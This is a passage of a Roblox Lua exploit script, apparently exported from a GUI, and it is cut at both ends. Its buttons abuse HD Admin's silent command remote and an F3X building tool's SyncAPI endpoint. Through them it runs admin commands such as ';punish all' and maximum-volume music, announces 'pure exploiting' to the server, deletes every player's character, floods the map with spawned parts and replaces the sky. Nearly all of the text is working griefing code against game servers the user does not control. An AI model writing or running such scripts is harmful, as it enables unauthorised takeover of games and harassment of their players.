		if P[55] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[55], CFrame = P[55].CFrame, Size = Vector3.new(0.409912109375,0.39226099848747253,4.1800537109375)} end
		if P[37] then resizepoopyshit[#resizepoopyshit+1] = {Part = P[37], CFrame = P[37].CFrame, Size = Vector3.new(4,0.20000000298023224,6)} end
		poopyshitResize(endpoint, resizepoopyshit)
		local materialpoopyshit = {}
		if P[7] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[7], Material = Enum.Material.Wood} end
		if P[8] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[8], Material = Enum.Material.Wood} end
		if P[9] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[9], Material = Enum.Material.Wood} end
		if P[10] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[10], Material = Enum.Material.Fabric} end
		if P[13] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[13], Material = Enum.Material.Wood} end
		if P[14] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[14], Material = Enum.Material.Wood} end
		if P[15] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[15], Material = Enum.Material.Wood} end
		if P[16] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[16], Material = Enum.Material.Fabric} end
		if P[18] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[18], Material = Enum.Material.Fabric} end
		if P[20] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[20], Material = Enum.Material.Fabric} end
		if P[22] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[22], Material = Enum.Material.Plastic} end
		if P[24] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[24], Material = Enum.Material.Fabric} end
		if P[26] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[26], Material = Enum.Material.Plastic} end
		if P[28] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[28], Material = Enum.Material.Plastic} end
		if P[29] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[29], Material = Enum.Material.Fabric} end
		if P[31] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[31], Material = Enum.Material.Mud} end
		if P[32] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[32], Material = Enum.Material.Fabric} end
		if P[58] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[58], Material = Enum.Material.Fabric} end
		if P[40] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[40], Material = Enum.Material.Fabric} end
		if P[56] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[56], Material = Enum.Material.Fabric} end
		if P[44] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[44], Material = Enum.Material.Plastic} end
		if P[39] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[39], Material = Enum.Material.Plastic} end
		if P[36] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[36], Material = Enum.Material.Plastic} end
		if P[53] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[53], Material = Enum.Material.Fabric} end
		if P[45] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[45], Material = Enum.Material.Fabric} end
		if P[42] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[42], Material = Enum.Material.Fabric} end
		if P[51] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[51], Material = Enum.Material.Fabric} end
		if P[49] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[49], Material = Enum.Material.Fabric} end
		if P[47] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[47], Material = Enum.Material.Fabric} end
		if P[34] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[34], Material = Enum.Material.Fabric} end
		if P[55] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[55], Material = Enum.Material.Plastic} end
		if P[37] then materialpoopyshit[#materialpoopyshit+1] = {Part = P[37], Material = Enum.Material.Fabric} end
		poopyshitMaterial(endpoint, materialpoopyshit)
		local transparencypoopyshit = {}
		poopyshitMaterial(endpoint, transparencypoopyshit)
		local reflectancepoopyshit = {}
		poopyshitMaterial(endpoint, reflectancepoopyshit)
		local colorpoopyshit = {}
		if P[7] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[7], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
		if P[8] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[8], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
		if P[9] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[9], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
		if P[10] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[10], Color = Color3.new(0.7372549176216125,0.6078431606292725,0.364705890417099), UnionColoring = false} end
		if P[13] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[13], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
		if P[14] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[14], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
		if P[15] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[15], Color = Color3.new(0.4117647111415863,0.250980406999588,0.1568627506494522), UnionColoring = false} end
		if P[16] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[16], Color = Color3.new(0.7372549176216125,0.6078431606292725,0.364705890417099), UnionColoring = false} end
		if P[18] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[18], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
		if P[20] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[20], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
		if P[22] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[22], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
		if P[24] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[24], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
		if P[26] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[26], Color = Color3.new(0.06666667014360428,0.06666667014360428,0.06666667014360428), UnionColoring = false} end
		if P[28] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[28], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
		if P[29] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[29], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
		if P[31] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[31], Color = Color3.new(0,1,0), UnionColoring = false} end
		if P[32] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[32], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
		if P[58] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[58], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
		if P[40] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[40], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
		if P[56] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[56], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
		if P[44] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[44], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
		if P[39] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[39], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
		if P[36] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[36], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
		if P[53] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[53], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
		if P[45] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[45], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
		if P[42] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[42], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
		if P[51] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[51], Color = Color3.new(0.6392157077789307,0.29411765933036804,0.29411765933036804), UnionColoring = false} end
		if P[49] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[49], Color = Color3.new(0.5490196347236633,0.35686275362968445,0.6235294342041016), UnionColoring = false} end
		if P[47] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[47], Color = Color3.new(0.45490196347236633,0.5254902243614197,0.615686297416687), UnionColoring = false} end
		if P[34] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[34], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
		if P[55] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[55], Color = Color3.new(0.6392157077789307,0.6352941393852234,0.6470588445663452), UnionColoring = false} end
		if P[37] then colorpoopyshit[#colorpoopyshit+1] = {Part = P[37], Color = Color3.new(0.32156863808631897,0.48627451062202454,0.6823529601097107), UnionColoring = false} end
		poopyshitColor(endpoint, colorpoopyshit)
		local collisionpoopyshit = {}
		if P[7] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[7], CanCollide = true} end
		if P[8] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[8], CanCollide = true} end
		if P[9] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[9], CanCollide = true} end
		if P[10] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[10], CanCollide = true} end
		if P[13] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[13], CanCollide = true} end
		if P[14] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[14], CanCollide = true} end
		if P[15] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[15], CanCollide = true} end
		if P[16] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[16], CanCollide = true} end
		if P[18] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[18], CanCollide = true} end
		if P[20] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[20], CanCollide = true} end
		if P[22] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[22], CanCollide = true} end
		if P[24] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[24], CanCollide = true} end
		if P[26] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[26], CanCollide = true} end
		if P[28] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[28], CanCollide = true} end
		if P[29] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[29], CanCollide = true} end
		if P[31] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[31], CanCollide = true} end
		if P[32] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[32], CanCollide = true} end
		if P[58] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[58], CanCollide = true} end
		if P[40] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[40], CanCollide = true} end
		if P[56] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[56], CanCollide = true} end
		if P[44] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[44], CanCollide = true} end
		if P[39] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[39], CanCollide = true} end
		if P[36] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[36], CanCollide = true} end
		if P[53] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[53], CanCollide = true} end
		if P[45] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[45], CanCollide = true} end
		if P[42] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[42], CanCollide = true} end
		if P[51] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[51], CanCollide = true} end
		if P[49] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[49], CanCollide = true} end
		if P[47] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[47], CanCollide = true} end
		if P[34] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[34], CanCollide = true} end
		if P[55] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[55], CanCollide = true} end
		if P[37] then collisionpoopyshit[#collisionpoopyshit+1] = {Part = P[37], CanCollide = true} end
		poopyshitCollision(endpoint, collisionpoopyshit)
		local lockTasks, nameTasks = {}, {}
	
		if P[18] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[18], "Prayer Mat") end) end
		if P[20] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[20], "Prayer Mat") end) end
		if P[22] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[22], "SpawnLocation") end) end
		if P[24] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[24], "Prayer Mat") end) end
		if P[28] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[28], "MeshPart") end) end
		if P[29] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[29], "Prayer Mat") end) end
		if P[31] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[31], true) end) end
		if P[31] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[31], "Baseplate") end) end
		if P[32] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[32], "Prayer Mat") end) end
		if P[58] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[58], "Prayer Mat") end) end
		if P[40] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[40], "Prayer Mat") end) end
		if P[56] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[56], "Prayer Mat") end) end
		if P[44] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[44], "MeshPart") end) end
		if P[39] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[39], "MeshPart") end) end
		if P[36] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[36], "MeshPart") end) end
		if P[53] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[53], "Prayer Mat") end) end
		if P[45] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[45], "Prayer Mat") end) end
		if P[42] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[42], "Prayer Mat") end) end
		if P[51] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[51], "Prayer Mat") end) end
		if P[49] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[49], "Prayer Mat") end) end
		if P[47] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[47], "Prayer Mat") end) end
		if P[34] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[34], "Prayer Mat") end) end
		if P[55] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[55], "MeshPart") end) end
		if P[37] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[37], "Prayer Mat") end) end
		task.wait(0.2)
		if P[28] then
			task.spawn(function()
				createMesh(endpoint, P[28])
				task.wait(0.2) 
				syncMesh(endpoint, P[28], "rbxassetid://80644101452508", "rbxassetid://75676476820407", Vector3.new(1,1,1), Vector3.new(0,0,0))
			end)
		end
		if P[36] then
			task.spawn(function()
				createMesh(endpoint, P[36])
				task.wait(0.2) 
				syncMesh(endpoint, P[36], "rbxassetid://12784458519", "rbxassetid://12784458697", Vector3.new(1,1,1), Vector3.new(0,0,0))
			end)
		end
		if P[39] then
			task.spawn(function()
				createMesh(endpoint, P[39])
				task.wait(0.2) 
				syncMesh(endpoint, P[39], "rbxassetid://98336125892173", "rbxassetid://118139167470142", Vector3.new(1,1,1), Vector3.new(0,0,0))
			end)
		end
		if P[44] then
			task.spawn(function()
				createMesh(endpoint, P[44])
				task.wait(0.2) 
				syncMesh(endpoint, P[44], "rbxassetid://105176227833763", "rbxassetid://88086211678789", Vector3.new(1,1,1), Vector3.new(0,0,0))
			end)
		end
		if P[55] then
			task.spawn(function()
				createMesh(endpoint, P[55])
				task.wait(0.2) 
				syncMesh(endpoint, P[55], "rbxassetid://12784458519", "rbxassetid://12784458697", Vector3.new(1,1,1), Vector3.new(0,0,0))
			end)
		end
		task.wait(0.5)
		if P[18] then
			task.spawn(function()
				createDecal(endpoint, P[18], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[18], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
			end)
		end
		if P[20] then
			task.spawn(function()
				createDecal(endpoint, P[20], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[20], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
			end)
		end
		if P[22] then
			task.spawn(function()
				createDecal(endpoint, P[22], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[22], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top)
			end)
		end
		if P[24] then
			task.spawn(function()
				createDecal(endpoint, P[24], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[24], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
			end)
		end
		if P[26] then
			task.spawn(function()
				createDecal(endpoint, P[26], Enum.NormalId.Front)
				setDecalTexture(endpoint, P[26], "rbxassetid://77642796751043", Enum.NormalId.Front)
			end)
		end
		if P[29] then
			task.spawn(function()
				createDecal(endpoint, P[29], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[29], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
			end)
		end
		if P[32] then
			task.spawn(function()
				createDecal(endpoint, P[32], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[32], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
			end)
		end
		if P[34] then
			task.spawn(function()
				createDecal(endpoint, P[34], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[34], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
			end)
		end
		if P[37] then
			task.spawn(function()
				createDecal(endpoint, P[37], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[37], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
			end)
		end
		if P[40] then
			task.spawn(function()
				createDecal(endpoint, P[40], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[40], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
			end)
		end
		if P[42] then
			task.spawn(function()
				createDecal(endpoint, P[42], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[42], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
			end)
		end
		if P[45] then
			task.spawn(function()
				createDecal(endpoint, P[45], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[45], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
			end)
		end
		if P[47] then
			task.spawn(function()
				createDecal(endpoint, P[47], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[47], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
			end)
		end
		if P[49] then
			task.spawn(function()
				createDecal(endpoint, P[49], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[49], "http://www.roblox.com/asset/?id=355925304", Enum.NormalId.Top)
			end)
		end
		if P[51] then
			task.spawn(function()
				createDecal(endpoint, P[51], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[51], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
			end)
		end
		if P[53] then
			task.spawn(function()
				createDecal(endpoint, P[53], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[53], "http://www.roblox.com/asset/?id=355925831", Enum.NormalId.Top)
			end)
		end
		if P[56] then
			task.spawn(function()
				createDecal(endpoint, P[56], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[56], "http://www.roblox.com/asset/?id=355925586", Enum.NormalId.Top)
			end)
		end
		if P[58] then
			task.spawn(function()
				createDecal(endpoint, P[58], Enum.NormalId.Top)
				setDecalTexture(endpoint, P[58], "http://www.roblox.com/asset/?id=258160448", Enum.NormalId.Top)
			end)
		end
		task.wait(0.3)
		local G = {}
		task.spawn(function()
			G[6] = createGroup(endpoint, "Model", workspace, {7,8,9})
		end)
		task.spawn(function()
			G[11] = createGroup(endpoint, "Model", workspace, {16})
			setName(endpoint, G[11], "Hangman")
		end)
		task.spawn(function()
			G[5] = createGroup(endpoint, "Model", workspace, {10})
			setName(endpoint, G[5], "Hangman")
		end)
		task.spawn(function()
			G[12] = createGroup(endpoint, "Model", workspace, {13,14,15})
		end)
		task.wait(0.3)
		RequestCommand:InvokeServer(";res all")
		task.wait(0.2)
		RequestCommand:InvokeServer(";music 9069609200 ;volume inf")
		task.wait(8)
		RequestCommand:InvokeServer(";music 1839246711 ;pitch 1.2 ;volume inf")
		task.wait(0.4)
		RequestCommand:InvokeServer(";serverMessage you are now entering the world of pure exploiting!")
	
	end)
end;
task.spawn(C_1c);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_1e()
local script = G2L["1e"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	
		RequestCommand:InvokeServer(";sm get toadroasted")
		local player = game.Players.LocalPlayer
		local char = player.Character
		local tool
		for i,v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		for i,v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
		remote = tool.SyncAPI.ServerEndpoint
		function _(args)
			remote:InvokeServer(unpack(args))
		end
		function SetCollision(part,boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
		function SetAnchor(boolean,part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
		function CreatePart(cf,parent)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = parent
			}
			_(args)
		end
		function DestroyPart(part)
			local args = {
				[1] = "Remove",
				[2] = {
					[1] = part
				}
			}
			_(args)
		end
		function MovePart(part,cf)
			local args = {
				[1] = "SyncMove",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf
					}
				}
			}
			_(args)
		end
		function Resize(part,size,cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part,meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://"..meshid
					}
				}
			}
			_(args)
		end
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://"..texid
					}
				}
			}
			_(args)
		end
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = part
				},
				[3] = stringg
			}
	
			_(args)
		end
		function MeshResize(part,size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
		function Weld(part1, part2,lead)
			local args = {
				[1] = "CreateWelds",
				[2] = {
					[1] = part1,
					[2] = part2
				},
				[3] = lead
			}
			_(args)
	
		end
		function SetLocked(part,boolean)
			local args = {
				[1] = "SetLocked",
				[2] = {
					[1] = part
				},
				[3] = boolean
			}
			_(args)
		end
		function SetTrans(part,int)
			local args = {
				[1] = "SyncMaterial",
				[2] = {
					[1] = {
						["Part"] = part,
						["Transparency"] = int
					}
				}
			}
			_(args)
		end
		function CreateSpotlight(part)
			local args = {
				[1] = "CreateLights",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight"
					}
				}
			}
			_(args)
		end
		function SyncLighting(part,brightness)
			local args = {
				[1] = "SyncLighting",
				[2] = {
					[1] = {
						["Part"] = part,
						["LightType"] = "SpotLight",
						["Brightness"] = brightness
					}
				}
			}
			_(args)
		end
		function Color(part,color)
			local args = {
				[1] = "SyncColor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Color"] = color --[[Color3]],
						["UnionColoring"] = false
					}
				}
			}
			_(args)
		end
		function Punish(player)
			char = player.Character
			DestroyPart(char)
		end
	
		for i,v in game.Players:GetPlayers() do
			--zzspawn(function()
			pcall(function()
				Punish(v)
			end)
			--end)
		end
		local player = game.Players.LocalPlayer
		local char = player.Character or player.CharacterAdded:Wait()
		local tool
	
		for i, v in player:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		for i, v in game.ReplicatedStorage:GetDescendants() do
			if v.Name == "SyncAPI" then
				tool = v.Parent
			end
		end
	
		local remote = tool.SyncAPI.ServerEndpoint
	
		function _(args)
			remote:InvokeServer(unpack(args))
		end
	
		function SetCollision(part, boolean)
			local args = {
				[1] = "SyncCollision",
				[2] = {
					[1] = {
						["Part"] = part,
						["CanCollide"] = boolean
					}
				}
			}
			_(args)
		end
	
		function SetAnchor(boolean, part)
			local args = {
				[1] = "SyncAnchor",
				[2] = {
					[1] = {
						["Part"] = part,
						["Anchored"] = boolean
					}
				}
			}
			_(args)
		end
	
		function CreatePart(cf)
			local args = {
				[1] = "CreatePart",
				[2] = "Normal",
				[3] = cf,
				[4] = workspace
			}
			_(args)
		end
	
		function Resize(part, size, cf)
			local args = {
				[1] = "SyncResize",
				[2] = {
					[1] = {
						["Part"] = part,
						["CFrame"] = cf,
						["Size"] = size
					}
				}
			}
			_(args)
		end
	
		function AddMesh(part)
			local args = {
				[1] = "CreateMeshes",
				[2] = {
					[1] = {
						["Part"] = part
					}
				}
			}
			_(args)
		end
	
		function SetMesh(part, meshid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["MeshId"] = "rbxassetid://" .. meshid
					}
				}
			}
			_(args)
		end
	
		function SetTexture(part, texid)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["TextureId"] = "rbxassetid://" .. texid
					}
				}
			}
			_(args)
		end
	
		function MeshResize(part, size)
			local args = {
				[1] = "SyncMesh",
				[2] = {
					[1] = {
						["Part"] = part,
						["Scale"] = size
					}
				}
			}
			_(args)
		end
	
		function SetName(part, stringg)
			local args = {
				[1] = "SetName",
				[2] = {
					[1] = workspace.Part
				},
				[3] = stringg
			}
			_(args)
		end
	
		function Sky(id)
			local hrp = char:WaitForChild("HumanoidRootPart")
			local cf = hrp.CFrame
			CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
			for _, v in workspace:GetDescendants() do
				if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
					SetAnchor(true, v)
					AddMesh(v)
					SetMesh(v, "111891702759441")
					SetTexture(v, id)
					MeshResize(v, Vector3.new(8000, 8000, 8000))
				end
			end
		end
	
		local function createRainToads()
			while true do
				wait(0.3) -- Here they change the appearance time of the Toads or other meshes
				if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
					local hrpcf = player.Character.HumanoidRootPart.CFrame
					local x = hrpcf.x
					local z = hrpcf.z
					local randint = math.random(-600, 600)
					local randint2 = math.random(-600, 600)
					local xloc = randint + x
					local zloc = randint2 + z
					local cf = player.Character.HumanoidRootPart.CFrame.y + 400
	
					spawn(function()
						local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
						for i, v in game.Workspace:GetDescendants() do
							if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
								SetName(v, "MiniToad") -- Here the name of the toad changes
								SetAnchor(false, v)
								AddMesh(v)
								Resize(v, Vector3.new(100, 100, 100), v.CFrame)
								MeshResize(v, Vector3.new(4, 4, 4))
								SetMesh(v, "5038530279") -- Here put it A custom mesh
								SetTexture(v, "5038530309") -- X2
								SetCollision(v, false)
								v.Orientation = Vector3.new(0, 0, 0)
	
								v.CFrame = v.CFrame + Vector3.new(0, 0, 0)
	
								local sound = Instance.new("Sound", v)
								sound.SoundId = "rbxassetid://153752123" 
								sound.Volume = 10
								sound.PlayOnRemove = true
								sound:Destroy()
							end
						end
					end)
				else
					wait(1)
				end
			end
		end
	
		coroutine.wrap(createRainToads)()
	
		Sky("201208408")
	end)
end;
task.spawn(C_1e);
-- StarterGui.ScreenGui.ImageLabel.Frame.ScrollingFrame.TextButton.LocalScript
local function C_20()
local script = G2L["20"];
	script.Parent.MouseButton1Click:Connect(function()
		local ReplicatedStorage = game:GetService("ReplicatedStorage")
		local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
		RequestCommand:InvokeServer(";punish all")
		wait(0.1)
		local player = game.Players.LocalPlayer
		local char = player.Character
		local backpack = player.Backpack
	
		local function getf3x()
			for _, v in ipairs(backpack:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
			for _, v in ipairs(char:GetChildren()) do
				if v:FindFirstChild("SyncAPI") then
					return v
				end
			end
	
			return nil
		end
		local f3x = getf3x()
		if not f3x then
